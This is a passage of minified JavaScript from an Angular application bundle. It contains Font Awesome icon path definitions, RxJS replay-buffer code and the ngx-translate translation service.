343.435C147.325 417.1 136 435.222 136 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-15.674-6.447-29.835-16.824-40h209.647C430.447 426.165 424 440.326 424 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-22.172-12.888-41.332-31.579-50.405l5.517-24.276c3.413-15.018-8.002-29.319-23.403-29.319H218.117l-6.545-32h293.145c11.206 0 20.92-7.754 23.403-18.681z"]},Y6={prefix:"fas",iconName:"sign-in-alt",icon:[512,512,[],"f2f6","M416 448h-84c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h84c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32h-84c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h84c53 0 96 43 96 96v192c0 53-43 96-96 96zm-47-201L201 79c-15-15-41-4.5-41 17v96H24c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24h136v96c0 21.5 26 32 41 17l168-168c9.3-9.4 9.3-24.6 0-34z"]},W6={prefix:"fas",iconName:"sign-out-alt",icon:[512,512,[],"f2f5","M497 273L329 441c-15 15-41 4.5-41-17v-96H152c-13.3 0-24-10.7-24-24v-96c0-13.3 10.7-24 24-24h136V88c0-21.4 25.9-32 41-17l168 168c9.3 9.4 9.3 24.6 0 34zM192 436v-40c0-6.6-5.4-12-12-12H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h84c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12H96c-53 0-96 43-96 96v192c0 53 43 96 96 96h84c6.6 0 12-5.4 12-12z"]},J4={prefix:"fas",iconName:"star",icon:[576,512,[],"f005","M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"]},c0={prefix:"fas",iconName:"sticky-note",icon:[448,512,[],"f249","M312 320h136V56c0-13.3-10.7-24-24-24H24C10.7 32 0 42.7 0 56v400c0 13.3 10.7 24 24 24h264V344c0-13.2 10.8-24 24-24zm129 55l-98 98c-4.5 4.5-10.6 7-17 7h-6V352h128v6.1c0 6.3-2.5 12.4-7 16.9z"]},Ro={prefix:"fas",iconName:"sync",icon:[512,512,[],"f021","M440.65 12.57l4 82.77A247.16 247.16 0 0 0 255.83 8C134.73 8 33.91 94.92 12.29 209.82A12 12 0 0 0 24.09 224h49.05a12 12 0 0 0 11.67-9.26 175.91 175.91 0 0 1 317-56.94l-101.46-4.86a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12H500a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12h-47.37a12 12 0 0 0-11.98 12.57zM255.83 432a175.61 175.61 0 0 1-146-77.8l101.8 4.87a12 12 0 0 0 12.57-12v-47.4a12 12 0 0 0-12-12H12a12 12 0 0 0-12 12V500a12 12 0 0 0 12 12h47.35a12 12 0 0 0 12-12.6l-4.15-82.57A247.17 247.17 0 0 0 255.83 504c121.11 0 221.93-86.92 243.55-201.82a12 12 0 0 0-11.8-14.18h-49.05a12 12 0 0 0-11.67 9.26A175.86 175.86 0 0 1 255.83 432z"]},u3={prefix:"fas",iconName:"thermometer-empty",icon:[256,512,[],"f2cb","M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-35.346 28.654-64 64-64s64 28.654 64 64zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"]},S0={prefix:"fas",iconName:"thermometer-full",icon:[256,512,[],"f2c7","M224 96c0-53.019-42.981-96-96-96S32 42.981 32 96v203.347C12.225 321.756.166 351.136.002 383.333c-.359 70.303 56.787 128.176 127.089 128.664.299.002.61.003.909.003 70.698 0 128-57.304 128-128 0-32.459-12.088-62.09-32-84.653V96zm-96 368l-.576-.002c-43.86-.304-79.647-36.544-79.423-80.42.173-33.98 19.266-51.652 31.999-66.08V96c0-26.467 21.533-48 48-48s48 21.533 48 48v221.498c12.63 14.312 32 32.164 32 66.502 0 44.112-35.888 80-80 80zm64-80c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V96c0-17.673 14.327-32 32-32s32 14.327 32 32v232.583c19.124 11.068 32 31.732 32 55.417z"]},h3={prefix:"fas",iconName:"thermometer-half",icon:[256,512,[],"f2c9","M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V224c0-17.673 14.327-32 32-32s32 14.327 32 32v104.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"]},f3={prefix:"fas",iconName:"thermometer-quarter",icon:[256,512,[],"f2ca","M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V288c0-17.673 14.327-32 32-32s32 14.327 32 32v40.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"]},xa={prefix:"fas",iconName:"thermometer-three-quarters",icon:[256,512,[],"f2c8","M192 384c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64 0-23.685 12.876-44.349 32-55.417V160c0-17.673 14.327-32 32-32s32 14.327 32 32v168.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"]},E0={prefix:"fas",iconName:"thumbs-up",icon:[512,512,[],"f164","M104 224H24c-13.255 0-24 10.745-24 24v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V248c0-13.255-10.745-24-24-24zM64 472c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zM384 81.452c0 42.416-25.97 66.208-33.277 94.548h101.723c33.397 0 59.397 27.746 59.553 58.098.084 17.938-7.546 37.249-19.439 49.197l-.11.11c9.836 23.337 8.237 56.037-9.308 79.469 8.681 25.895-.069 57.704-16.382 74.757 4.298 17.598 2.244 32.575-6.148 44.632C440.202 511.587 389.616 512 346.839 512l-2.845-.001c-48.287-.017-87.806-17.598-119.56-31.725-15.957-7.099-36.821-15.887-52.651-16.178-6.54-.12-11.783-5.457-11.783-11.998v-213.77c0-3.2 1.282-6.271 3.558-8.521 39.614-39.144 56.648-80.587 89.117-113.111 14.804-14.832 20.188-37.236 25.393-58.902C282.515 39.293 291.817 0 312 0c24 0 72 8 72 81.452z"]},p3={prefix:"fas",iconName:"times",icon:[352,512,[],"f00d","M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"]},Fs={prefix:"fas",iconName:"trash-alt",icon:[448,512,[],"f2ed","M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm272-256a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"]},Fo={prefix:"fas",iconName:"trophy",icon:[576,512,[],"f091","M552 64H448V24c0-13.3-10.7-24-24-24H152c-13.3 0-24 10.7-24 24v40H24C10.7 64 0 74.7 0 88v56c0 35.7 22.5 72.4 61.9 100.7 31.5 22.7 69.8 37.1 110 41.7C203.3 338.5 240 360 240 360v72h-48c-35.3 0-64 20.7-64 56v12c0 6.6 5.4 12 12 12h296c6.6 0 12-5.4 12-12v-12c0-35.3-28.7-56-64-56h-48v-72s36.7-21.5 68.1-73.6c40.3-4.6 78.6-19 110-41.7 39.3-28.3 61.9-65 61.9-100.7V88c0-13.3-10.7-24-24-24zM99.3 192.8C74.9 175.2 64 155.6 64 144v-16h64.2c1 32.6 5.8 61.2 12.8 86.2-15.1-5.2-29.2-12.4-41.7-21.4zM512 144c0 16.1-17.7 36.1-35.3 48.8-12.5 9-26.7 16.2-41.8 21.4 7-25 11.8-53.6 12.8-86.2H512v16z"]},Ns={prefix:"fas",iconName:"truck",icon:[640,512,[],"f0d1","M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"]},No={prefix:"fas",iconName:"truck-loading",icon:[640,512,[],"f4de","M50.2 375.6c2.3 8.5 11.1 13.6 19.6 11.3l216.4-58c8.5-2.3 13.6-11.1 11.3-19.6l-49.7-185.5c-2.3-8.5-11.1-13.6-19.6-11.3L151 133.3l24.8 92.7-61.8 16.5-24.8-92.7-77.3 20.7C3.4 172.8-1.7 181.6.6 190.1l49.6 185.5zM384 0c-17.7 0-32 14.3-32 32v323.6L5.9 450c-4.3 1.2-6.8 5.6-5.6 9.8l12.6 46.3c1.2 4.3 5.6 6.8 9.8 5.6l393.7-107.4C418.8 464.1 467.6 512 528 512c61.9 0 112-50.1 112-112V0H384zm144 448c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"]},b3={prefix:"fas",iconName:"tshirt",icon:[640,512,[],"f553","M631.2 96.5L436.5 0C416.4 27.8 371.9 47.2 320 47.2S223.6 27.8 203.5 0L8.8 96.5c-7.9 4-11.1 13.6-7.2 21.5l57.2 114.5c4 7.9 13.6 11.1 21.5 7.2l56.6-27.7c10.6-5.2 23 2.5 23 14.4V480c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V226.3c0-11.8 12.4-19.6 23-14.4l56.6 27.7c7.9 4 17.5.8 21.5-7.2L638.3 118c4-7.9.8-17.6-7.1-21.5z"]},G0={prefix:"fas",iconName:"university",icon:[512,512,[],"f19c","M496 128v16a8 8 0 0 1-8 8h-24v12c0 6.627-5.373 12-12 12H60c-6.627 0-12-5.373-12-12v-12H24a8 8 0 0 1-8-8v-16a8 8 0 0 1 4.941-7.392l232-88a7.996 7.996 0 0 1 6.118 0l232 88A8 8 0 0 1 496 128zm-24 304H40c-13.255 0-24 10.745-24 24v16a8 8 0 0 0 8 8h464a8 8 0 0 0 8-8v-16c0-13.255-10.745-24-24-24zM96 192v192H60c-6.627 0-12 5.373-12 12v20h416v-20c0-6.627-5.373-12-12-12h-36V192h-64v192h-64V192h-64v192h-64V192H96z"]},j0={prefix:"fas",iconName:"unlock-alt",icon:[448,512,[],"f13e","M400 256H152V152.9c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v16c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-16C376 68 307.5-.3 223.5 0 139.5.3 72 69.5 72 153.5V256H48c-26.5 0-48 21.5-48 48v160c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V304c0-26.5-21.5-48-48-48zM264 408c0 22.1-17.9 40-40 40s-40-17.9-40-40v-48c0-22.1 17.9-40 40-40s40 17.9 40 40v48z"]},Y0={prefix:"fas",iconName:"user",icon:[448,512,[],"f007","M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"]},W0={prefix:"fas",iconName:"user-circle",icon:[496,512,[],"f2bd","M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"]},C3={prefix:"fas",iconName:"user-edit",icon:[640,512,[],"f4ff","M224 256c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h274.9c-2.4-6.8-3.4-14-2.6-21.3l6.8-60.9 1.2-11.1 7.9-7.9 77.3-77.3c-24.5-27.7-60-45.5-99.9-45.5zm45.3 145.3l-6.8 61c-1.1 10.2 7.5 18.8 17.6 17.6l60.9-6.8 137.9-137.9-71.7-71.7-137.9 137.8zM633 268.9L595.1 231c-9.3-9.3-24.5-9.3-33.8 0l-37.8 37.8-4.1 4.1 71.8 71.7 41.8-41.8c9.3-9.4 9.3-24.5 0-33.9z"]},Ho={prefix:"fas",iconName:"user-plus",icon:[640,512,[],"f234","M624 208h-64v-64c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v64h-64c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h64v64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-64h64c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400 48c70.7 0 128-57.3 128-128S294.7 0 224 0 96 57.3 96 128s57.3 128 128 128zm89.6 32h-16.7c-22.2 10.2-46.9 16-72.9 16s-50.6-5.8-72.9-16h-16.7C60.2 288 0 348.2 0 422.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-41.6c0-74.2-60.2-134.4-134.4-134.4z"]},Vo={prefix:"fas",iconName:"user-secret",icon:[448,512,[],"f21b","M383.9 308.3l23.9-62.6c4-10.5-3.7-21.7-15-21.7h-58.5c11-18.9 17.8-40.6 17.8-64v-.3c39.2-7.8 64-19.1 64-31.7 0-13.3-27.3-25.1-70.1-33-9.2-32.8-27-65.8-40.6-82.8-9.5-11.9-25.9-15.6-39.5-8.8l-27.6 13.8c-9 4.5-19.6 4.5-28.6 0L182.1 3.4c-13.6-6.8-30-3.1-39.5 8.8-13.5 17-31.4 50-40.6 82.8-42.7 7.9-70 19.7-70 33 0 12.6 24.8 23.9 64 31.7v.3c0 23.4 6.8 45.1 17.8 64H56.3c-11.5 0-19.2 11.7-14.7 22.3l25.8 60.2C27.3 329.8 0 372.7 0 422.4v44.8C0 491.9 20.1 512 44.8 512h358.4c24.7 0 44.8-20.1 44.8-44.8v-44.8c0-48.4-25.8-90.4-64.1-114.1zM176 480l-41.6-192 49.6 32 24 40-32 120zm96 0l-32-120 24-40 49.6-32L272 480zm41.7-298.5c-3.9 11.9-7 24.6-16.5 33.4-10.1 9.3-48 22.4-64-25-2.8-8.4-15.4-8.4-18.3 0-17 50.2-56 32.4-64 25-9.5-8.8-12.7-21.5-16.5-33.4-.8-2.5-6.3-5.7-6.3-5.8v-10.8c28.3 3.6 61 5.8 96 5.8s67.7-2.1 96-5.8v10.8c-.1.1-5.6 3.2-6.4 5.8z"]},tc={prefix:"fas",iconName:"user-slash",icon:[640,512,[],"f506","M633.8 458.1L362.3 248.3C412.1 230.7 448 183.8 448 128 448 57.3 390.7 0 320 0c-67.1 0-121.5 51.8-126.9 117.4L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3zM96 422.4V464c0 26.5 21.5 48 48 48h350.2L207.4 290.3C144.2 301.3 96 356 96 422.4z"]},Vs={prefix:"fas",iconName:"warehouse",icon:[640,512,[],"f494","M504 352H136.4c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0 96H136.1c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8h368c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0-192H136.6c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm106.5-139L338.4 3.7a48.15 48.15 0 0 0-36.9 0L29.5 117C11.7 124.5 0 141.9 0 161.3V504c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V256c0-17.6 14.6-32 32.6-32h382.8c18 0 32.6 14.4 32.6 32v248c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V161.3c0-19.4-11.7-36.8-29.5-44.3z"]}},1195:(At,ae,d)=>{"use strict";d.d(ae,{Pi:()=>Dt,Zw:()=>Qe,aw:()=>te,X$:()=>Pt,sK:()=>Et});var n=d(4650),a=d(1086),s=d(4715),u=d(567),c=d(1221),f=d(8514),E=d(2986),_=d(8929),S=d(6686),C=d(2268);const j=new class z extends C.v{}(class g extends S.o{constructor(m,b){super(m,b),this.scheduler=m,this.work=b}schedule(m,b=0){return b>0?super.schedule(m,b):(this.delay=b,this.state=m,this.scheduler.flush(this),this)}execute(m,b){return b>0||this.closed?super.execute(m,b):this._execute(m,b)}requestAsyncId(m,b,B=0){return null!==B&&B>0||null===B&&this.delay>0?super.requestAsyncId(m,b,B):m.flush(this)}});var U=d(2654),G=d(3489),Q=d(9312);class k extends G.L{constructor(m,b,B=0){super(m),this.scheduler=b,this.delay=B}static dispatch(m){const{notification:b,destination:B}=m;b.observe(B),this.unsubscribe()}scheduleMessage(m){this.destination.add(this.scheduler.schedule(k.dispatch,this.delay,new K(m,this.destination)))}_next(m){this.scheduleMessage(Q.P.createNext(m))}_error(m){this.scheduleMessage(Q.P.createError(m)),this.unsubscribe()}_complete(){this.scheduleMessage(Q.P.createComplete()),this.unsubscribe()}}class K{constructor(m,b){this.notification=m,this.destination=b}}var se=d(5279),ee=d(5283);class q extends _.xQ{constructor(m=Number.POSITIVE_INFINITY,b=Number.POSITIVE_INFINITY,B){super(),this.scheduler=B,this._events=[],this._infiniteTimeWindow=!1,this._bufferSize=m<1?1:m,this._windowTime=b<1?1:b,b===Number.POSITIVE_INFINITY?(this._infiniteTimeWindow=!0,this.next=this.nextInfiniteTimeWindow):this.next=this.nextTimeWindow}nextInfiniteTimeWindow(m){if(!this.isStopped){const b=this._events;b.push(m),b.length>this._bufferSize&&b.shift()}super.next(m)}nextTimeWindow(m){this.isStopped||(this._events.push(new we(this._getNow(),m)),this._trimBufferThenGetEvents()),super.next(m)}_subscribe(m){const b=this._infiniteTimeWindow,B=b?this._events:this._trimBufferThenGetEvents(),ie=this.scheduler,Xe=B.length;let it;if(this.closed)throw new se.N;if(this.isStopped||this.hasError?it=U.w.EMPTY:(this.observers.push(m),it=new ee.W(this,m)),ie&&m.add(m=new k(m,ie)),b)for(let wt=0;wt<Xe&&!m.closed;wt++)m.next(B[wt]);else for(let wt=0;wt<Xe&&!m.closed;wt++)m.next(B[wt].value);return this.hasError?m.error(this.thrownError):this.isStopped&&m.complete(),it}_getNow(){return(this.scheduler||j).now()}_trimBufferThenGetEvents(){const m=this._getNow(),b=this._bufferSize,B=this._windowTime,ie=this._events,Xe=ie.length;let it=0;for(;it<Xe&&!(m-ie[it].time<B);)it++;return Xe>b&&(it=Math.max(it,Xe-b)),it>0&&ie.splice(0,it),ie}}class we{constructor(m,b){this.time=m,this.value=b}}function ce(x,m,b){let B;return B=x&&"object"==typeof x?x:{bufferSize:x,windowTime:m,refCount:!1,scheduler:b},ie=>ie.lift(function je({bufferSize:x=Number.POSITIVE_INFINITY,windowTime:m=Number.POSITIVE_INFINITY,refCount:b,scheduler:B}){let ie,it,Xe=0,wt=!1,Vt=!1;return function(qt){let u1;Xe++,!ie||wt?(wt=!1,ie=new q(x,m,B),u1=ie.subscribe(this),it=qt.subscribe({next(c1){ie.next(c1)},error(c1){wt=!0,ie.error(c1)},complete(){Vt=!0,it=void 0,ie.complete()}})):u1=ie.subscribe(this),this.add(()=>{Xe--,u1.unsubscribe(),it&&!Vt&&b&&0===Xe&&(it.unsubscribe(),it=void 0,ie=void 0)})}}(B))}var Ze=d(4850),le=d(1406),Oe=d(7545);class Qe{}let Ye=(()=>{class x extends Qe{getTranslation(b){return(0,a.of)({})}}return x.\\u0275fac=function(){let m;return function(B){return(m||(m=n.n5z(x)))(B||x)}}(),x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})();class Ke{}let dt=(()=>{class x{handle(b){return b.key}}return x.\\u0275fac=function(b){return new(b||x)},x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})();function bt(x,m){if(x===m)return!0;if(null===x||null===m)return!1;if(x!=x&&m!=m)return!0;let ie,Xe,it,b=typeof x;if(b==typeof m&&"object"==b){if(!Array.isArray(x)){if(Array.isArray(m))return!1;for(Xe in it=Object.create(null),x){if(!bt(x[Xe],m[Xe]))return!1;it[Xe]=!0}for(Xe in m)if(!(Xe in it)&&typeof m[Xe]<"u")return!1;return!0}if(!Array.isArray(m))return!1;if((ie=x.length)==m.length){for(Xe=0;Xe<ie;Xe++)if(!bt(x[Xe],m[Xe]))return!1;return!0}}return!1}function ze(x){return typeof x<"u"&&null!==x}function De(x){return x&&"object"==typeof x&&!Array.isArray(x)}function re(x,m){let b=Object.assign({},x);return De(x)&&De(m)&&Object.keys(m).forEach(B=>{De(m[B])?B in x?b[B]=re(x[B],m[B]):Object.assign(b,{[B]:m[B]}):Object.assign(b,{[B]:m[B]})}),b}class ve{}let We=(()=>{class x extends ve{constructor(){super(...arguments),this.templateMatcher=/{{\\s?([^{}\\s]*)\\s?}}/g}interpolate(b,B){let ie;return ie="string"==typeof b?this.interpolateString(b,B):"function"==typeof b?this.interpolateFunction(b,B):b,ie}getValue(b,B){let ie="string"==typeof B?B.split("."):[B];B="";do{B+=ie.shift(),!ze(b)||!ze(b[B])||"object"!=typeof b[B]&&ie.length?ie.length?B+=".":b=void 0:(b=b[B],B="")}while(ie.length);return b}interpolateFunction(b,B){return b(B)}interpolateString(b,B){return B?b.replace(this.templateMatcher,(ie,Xe)=>{let it=this.getValue(B,Xe);return ze(it)?it:ie}):b}}return x.\\u0275fac=function(){let m;return function(B){return(m||(m=n.n5z(x)))(B||x)}}(),x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})();class xt{}let Be=(()=>{class x extends xt{compile(b,B){return b}compileTranslations(b,B){return b}}return x.\\u0275fac=function(){let m;return function(B){return(m||(m=n.n5z(x)))(B||x)}}(),x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})();class pe{constructor(){this.currentLang=this.defaultLang,this.translations={},this.langs=[],this.onTranslationChange=new n.vpe,this.onLangChange=new n.vpe,this.onDefaultLangChange=new n.vpe}}const P=new n.OlP("USE_STORE"),w=new n.OlP("USE_DEFAULT_LANG"),R=new n.OlP("DEFAULT_LANGUAGE"),X=new n.OlP("USE_EXTEND");let Et=(()=>{class x{constructor(b,B,ie,Xe,it,wt=!0,Vt=!1,Gt=!1,qt){this.store=b,this.currentLoader=B,this.compiler=ie,this.parser=Xe,this.missingTranslationHandler=it,this.useDefaultLang=wt,this.isolate=Vt,this.extend=Gt,this.pending=!1,this._onTranslationChange=new n.vpe,this._onLangChange=new n.vpe,this._onDefaultLangChange=new n.vpe,this._langs=[],this._translations={},this._translationRequests={},qt&&this.setDefaultLang(qt)}get onTranslationChange(){return this.isolate?this._onTranslationChange:this.store.onTranslationChange}get onLangChange(){return this.isolate?this._onLangChange:this.store.onLangChange}get onDefaultLangChange(){return this.isolate?this._onDefaultLangChange:this.store.onDefaultLangChange}get defaultLang(){return this.isolate?this._defaultLang:this.store.defaultLang}set defaultLang(b){this.isolate?this._defaultLang=b:this.store.defaultLang=b}get currentLang(){return this.isolate?this._currentLang:this.store.currentLang}set currentLang(b){this.isolate?this._currentLang=b:this.store.currentLang=b}get langs(){return this.isolate?this._langs:this.store.langs}set langs(b){this.isolate?this._langs=b:this.store.langs=b}get translations(){return this.isolate?this._translations:this.store.translations}set translations(b){this.isolate?this._translations=b:this.store.translations=b}setDefaultLang(b){if(b===this.defaultLang)return;let B=this.retrieveTranslations(b);typeof B<"u"?(null==this.defaultLang&&(this.defaultLang=b),B.pipe((0,E.q)(1)).subscribe(ie=>{this.changeDefaultLang(b)})):this.changeDefaultLang(b)}getDefaultLang(){return this.defaultLang}use(b){if(b===this.currentLang)return(0,a.of)(this.translations[b]);let B=this.retrieveTranslations(b);return typeof B<"u"?(this.currentLang||(this.currentLang=b),B.pipe((0,E.q)(1)).subscribe(ie=>{this.changeLang(b)}),B):(this.changeLang(b),(0,a.of)(this.translations[b]))}retrieveTranslations(b){let B;return(typeof this.translations[b]>"u"||this.extend)&&(this._translationRequests[b]=this._translationRequests[b]||this.getTranslation(b),B=this._translationRequests[b]),B}getTranslation(b){this.pending=!0;const B=this.currentLoader.getTranslation(b).pipe(ce(1),(0,E.q)(1));return this.loadingTranslations=B.pipe((0,Ze.U)(ie=>this.compiler.compileTranslations(ie,b)),ce(1),(0,E.q)(1)),this.loadingTranslations.subscribe({next:ie=>{this.translations[b]=this.extend&&this.translations[b]?Object.assign(Object.assign({},ie),this.translations[b]):ie,this.updateLangs(),this.pending=!1},error:ie=>{this.pending=!1}}),B}setTranslation(b,B,ie=!1){B=this.compiler.compileTranslations(B,b),this.translations[b]=(ie||this.extend)&&this.translations[b]?re(this.translations[b],B):B,this.updateLangs(),this.onTranslationChange.emit({lang:b,translations:this.translations[b]})}getLangs(){return this.langs}addLangs(b){b.forEach(B=>{-1===this.langs.indexOf(B)&&this.langs.push(B)})}updateLangs(){this.addLangs(Object.keys(this.translations))}getParsedResult(b,B,ie){let Xe;if(B instanceof Array){let it={},wt=!1;for(let Vt of B)it[Vt]=this.getParsedResult(b,Vt,ie),(0,s.b)(it[Vt])&&(wt=!0);if(wt){const Vt=B.map(Gt=>(0,s.b)(it[Gt])?it[Gt]:(0,a.of)(it[Gt]));return(0,u.D)(Vt).pipe((0,Ze.U)(Gt=>{let qt={};return Gt.forEach((u1,c1)=>{qt[B[c1]]=u1}),qt}))}return it}if(b&&(Xe=this.parser.interpolate(this.parser.getValue(b,B),ie)),typeof Xe>"u"&&null!=this.defaultLang&&this.defaultLang!==this.currentLang&&this.useDefaultLang&&(Xe=this.parser.interpolate(this.parser.getValue(this.translations[this.defaultLang],B),ie)),typeof Xe>"u"){let it={key:B,translateService:this};typeof ie<"u"&&(it.interpolateParams=ie),Xe=this.missingTranslationHandler.handle(it)}return typeof Xe<"u"?Xe:B}get(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');if(this.pending)return this.loadingTranslations.pipe((0,le.b)(ie=>(ie=this.getParsedResult(ie,b,B),(0,s.b)(ie)?ie:(0,a.of)(ie))));{let 